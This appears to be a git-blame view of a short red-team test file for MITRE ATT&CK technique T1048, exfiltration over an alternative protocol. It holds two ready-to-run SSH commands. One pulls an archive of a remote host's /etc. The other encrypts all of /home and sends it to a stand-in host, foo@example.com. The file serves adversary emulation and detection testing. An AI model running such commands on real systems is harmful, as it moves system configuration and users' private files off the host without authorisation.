2018-02-08 06:52:43 -06:00
|
|
|
## Exfiltration Over Alternative Protocol
|
2018-02-08 17:01:34 +11:00
|
|
|
|
|
|
|
|
MITRE ATT&CK Technique: [T1048](https://attack.mitre.org/wiki/Technique/T1048)
|
|
|
|
|
|
|
|
|
|
### SSH
|
|
|
|
|
|
|
|
|
|
Remote to Local:
|
|
|
|
|
|
|
|
|
|
ssh target.example.com "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz
|
|
|
|
|
|
|
|
|
|
Local to Remote:
|
|
|
|
|
|
2018-02-08 17:05:23 +11:00
|
|
|
tar czpf - /home/* | openssl des3 -salt -pass pass:1234 | ssh foo@example.com 'cat > /home.tar.gz.enc'
|
2018-02-08 17:01:34 +11:00
|
|
|
|